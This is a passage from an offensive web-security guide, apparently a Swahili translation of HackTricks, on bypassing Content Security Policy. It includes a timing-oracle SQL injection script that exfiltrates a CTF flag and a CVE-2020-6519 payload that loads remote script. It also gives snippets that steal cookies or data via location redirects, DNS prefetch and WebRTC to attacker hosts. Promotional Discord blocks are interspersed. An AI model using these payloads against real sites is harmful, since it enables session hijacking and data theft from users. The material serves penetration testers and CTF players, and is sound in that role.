Wakati huu unaweza kufanya mwathirika apakie ukurasa katika udhibiti wako kupitia XSS na <iframe>. Wakati huu utafanya mwathirika apate ukurasa kutoka ambapo unataka kutoa habari (CSRF). Hauwezi kupata maudhui ya ukurasa, lakini ikiwa kwa njia fulani unaweza kudhibiti muda ambao ukurasa unahitaji kupakia unaweza kutoa habari unayohitaji.

Wakati huu bendera itaondolewa, kila wakati herufi inatabiriwa kwa usahihi kupitia SQLi majibu yanachukua muda zaidi kutokana na kazi ya kulala. Kisha, utaweza kutoa bendera:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Kupitia Bookmarklets

Shambulizi hili linahusisha uhandisi wa kijamii ambapo mshambuliaji anamshawishi mtumiaji kuweka kiungo kwenye bookmarklet ya kivinjari. Bookmarklet hii itakuwa na msimbo wa javascript wenye nia mbaya ambao unapowekwa au bonyezwa utatekelezwa katika muktadha wa dirisha la wavuti la sasa, ukivuka CSP na kuruhusu kuiba habari nyeti kama vile vidakuzi au alama.

Kwa maelezo zaidi angalia ripoti ya asili hapa.

Kupitisha CSP kwa kuzuia CSP

Katika hii CTF writeup, CSP inapitishwa kwa kuingiza ndani ya iframe iliyoruhusiwa CSP yenye kizuizi zaidi ambayo ilikataza kupakia faili ya JS maalum ambayo, kisha, kupitia prototype pollution au dom clobbering iliruhusu kutumia hati tofauti kupakia hati ya aina yoyote.

Unaweza kuzuia CSP ya Iframe kwa kutumia sifa ya csp:

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

Katika hii CTF writeup, ilikuwa inawezekana kupitia HTML injection kwa kizuia zaidi CSP ili script inayozuia CSTI ilifungwa na kwa hivyo hitilafu ikawa inaweza kudukuliwa.
CSP inaweza kuwa ngumu zaidi kutumia HTML meta tags na inline scripts zinaweza kuzimwa kwa kuondoa kuingia kuruhusu nonce yao na kuruhusu inline script maalum kupitia sha:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

Uchunguzi wa JS na Kosa la Sera ya Usalama ya Yaliyomo (CSP) kwa Ripoti Pekee

Ikiwa unaweza kufanikiwa kufanya seva itoe kichwa cha Content-Security-Policy-Report-Only na thamani inayodhibitiwa na wewe (labda kwa sababu ya CRLF), unaweza kufanya ielekeze seva yako na ikiwa unazungusha yaliyomo ya JS unayotaka kuiba na <script> na kwa sababu inawezekana sana unsafe-inline haijiruhusu kwa CSP, hii itasababisha kosa la CSP na sehemu ya skripti (yenye habari nyeti) itatumwa kwa seva kutoka kwa Content-Security-Policy-Report-Only.

Kwa mfano angalia hii CTF writeup.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Kuvuja Taarifa na CSP na Iframe

  • Iframe inaundwa inayoelekeza kwenye URL (tuiite https://example.redirect.com) ambayo imeruhusiwa na CSP.
  • URL hii kisha inaelekeza kwenye URL ya siri (kwa mfano, https://usersecret.example2.com) ambayo hairuhusiwi na CSP.
  • Kwa kusikiliza tukio la securitypolicyviolation, mtu anaweza kukamata mali ya blockedURI. Mali hii inafichua kikoa cha URI kilichozuiwa, kuvuja kikoa cha siri ambacho URL ya awali ilielekeza.

Ni muhimu kufahamu kuwa vivinjari kama Chrome na Firefox wana tabia tofauti katika kushughulikia iframes kuhusiana na CSP, ikisababisha kuvuja kwa taarifa nyeti kutokana na tabia isiyoeleweka.

Tekniki nyingine inahusisha kutumia CSP yenyewe kugundua subdomain ya siri. Mbinu hii inategemea algorithm ya utafutaji wa binary na kurekebisha CSP ili kuongeza vikoa maalum ambavyo vimezuiliwa kwa makusudi. Kwa mfano, ikiwa subdomain ya siri inajumuisha herufi zisizojulikana, unaweza kujaribu subdomains tofauti kwa kubadilisha maelekezo ya CSP kuweka au kuruhusu subdomains hizi. Hapa kuna sehemu ndogo inayoonyesha jinsi CSP inaweza kuwekwa ili kurahisisha mbinu hii:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Kwa kufuatilia ni maombi gani yanazuiliwa au kuruhusiwa na CSP, mtu anaweza kupunguza idadi ya herufi zinazowezekana katika subdomain ya siri, hatimaye kufunua URL kamili.

Mbinu zote mbili zinatumia udhaifu wa utekelezaji na tabia ya CSP katika vivinjari, kuonyesha jinsi sera zinazodhaniwa kuwa salama zinaweza kusababisha kuvuja kwa habari nyeti.

Mbinu kutoka hapa.

Jiunge na seva ya HackenProof Discord ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!

Machapisho ya Udukuzi
Shiriki na yaliyomo yanayochunguza msisimko na changamoto za udukuzi

Habari za Udukuzi za Wakati Halisi
Endelea kuwa na habari za ulimwengu wa udukuzi wenye kasi kupitia habari na ufahamu wa wakati halisi

Matangazo ya Hivi Karibuni
Baki na habari kuhusu tuzo za mdudu zinazoanzishwa na sasisho muhimu za jukwaa

Jiunge nasi kwenye Discord na anza kushirikiana na wadukuzi bora leo!

Teknolojia Hatari za Kupita Kizuizi cha CSP

Kuzidi kwa kichupo cha majibu cha PHP

PHP inajulikana kwa kuzidisha majibu hadi 4096 herufi kwa chaguomsingi. Kwa hivyo, ikiwa PHP inaonyesha onyo, kwa kutoa data ya kutosha ndani ya onyo, majibu yatakuwa yameshawasilishwa kabla ya kichwa cha CSP, kusababisha kichwa hicho kusahauliwa.
Kwa hiyo, mbinu inategemea kimsingi kujaza kichupo cha majibu na onyo ili kichwa cha CSP kisitumwe.

Wazo kutoka hapa.

Kubadilisha Ukurasa wa Hitilafu

Kutoka hapa inaonekana ilikuwa inawezekana kuzidi ulinzi wa CSP kwa kupakia ukurasa wa hitilafu (labda bila CSP) na kubadilisha maudhui yake.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME ni mbinu inayotumia XSS (au XSS iliyopunguzwa sana) katika mwisho wa ukurasa ili kutumia mwisho mwingine wa asili. Hii inafanywa kwa kupakia mwisho ulio hatarini kutoka kwenye ukurasa wa mshambuliaji na kisha kusasisha ukurasa wa mshambuliaji kwenda kwenye mwisho halisi katika asili ile ile unayotaka kutumia vibaya. Kwa njia hii, mwisho ulio hatarini unaweza kutumia kitu cha opener katika payload ili kufikia DOM ya mwisho halisi wa kutumia vibaya. Kwa habari zaidi angalia:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

Zaidi ya hayo, wordpress ina mwisho wa JSONP katika /wp-json/wp/v2/users/1?_jsonp=data ambao utaonyesha data iliyotumwa kwenye matokeo (kwa kikomo cha herufi, nambari na alama za kipindi tu).

Mshambuliaji anaweza kutumia mwisho huo ku fanya shambulio la SOME dhidi ya WordPress na kulijumuisha ndani ya <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> kumbuka kuwa script hii itakuwa imepakia kwa sababu inaruhusiwa na 'self'. Zaidi ya hayo, na kwa kuwa WordPress imefungwa, mshambuliaji anaweza kutumia shambulio la SOME kupitia mwisho ulio hatarini wa kurejelea ambao unapitisha CSP ili kumpa mtumiaji mamlaka zaidi, kusakinisha programu-jalizi mpya... Kwa habari zaidi juu ya jinsi ya kutekeleza shambulio hili angalia https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

Mbinu za Kupitisha CSP ya Kuvuja

Ikiwa kuna CSP kali ambayo haiwezi kukuruhusu kuingiliana na seva za nje, kuna mambo kadhaa ambayo unaweza kufanya daima ili kuvuja habari.

Location

Unaweza tu kusasisha eneo ili kutuma habari za siri kwenye seva ya mshambuliaji:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Lebo ya Meta

Unaweza kuendelekeza kwa kuingiza lebo ya meta (hii ni tu kuendelekeza, haitafichua maudhui)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

Ili kupakia kurasa haraka, vivinjari hupenda kutatua majina ya mwenyeji kuwa anwani za IP mapema na kuzihifadhi kwa matumizi ya baadaye.
Unaweza kuashiria kivinjari kutatua majina ya mwenyeji mapema na: <link reol="dns-prefetch" href="kitu.com">

Unaweza kutumia tabia hii kwa kuvuja taarifa nyeti kupitia ombi za DNS:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Njia nyingine:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Ili kuepuka hili lisitokee, server inaweza kutuma kichwa cha HTTP:

X-DNS-Prefetch-Control: off

{% hint style="info" %} Inaonekana, mbinu hii haifanyi kazi kwenye vivinjari visivyo na kichwa (bots) {% endhint %}

WebRTC

Kwenye kurasa kadhaa unaweza kusoma kwamba WebRTC haichunguzi sera ya connect-src ya CSP.

Kwa kweli, unaweza kuvuja taarifa kwa kutumia ombi la DNS. Angalia nambari hii:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

Chaguo lingine:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Ukaguzi wa Sera za CSP Mkondoni

Kuunda CSP kiotomatiki

https://csper.io/docs/generating-content-security-policy

Marejeo

Jiunge na HackenProof Discord ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa bug bounty!

Machapisho ya Udukuzi
Shiriki na yaliyomo yanayochunguza msisimko na changamoto za udukuzi

Habari za Udukuzi za Wakati Halisi
Kuwa na habari za hivi karibuni za ulimwengu wa udukuzi kupitia habari na ufahamu wa wakati halisi

Matangazo ya Hivi Karibuni
Endelea kuwa na habari kuhusu bug bounty mpya zinazozinduliwa na sasisho muhimu za jukwaa

Jiunge nasi kwenye Discord na anza kushirikiana na wadukuzi bora leo!

Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: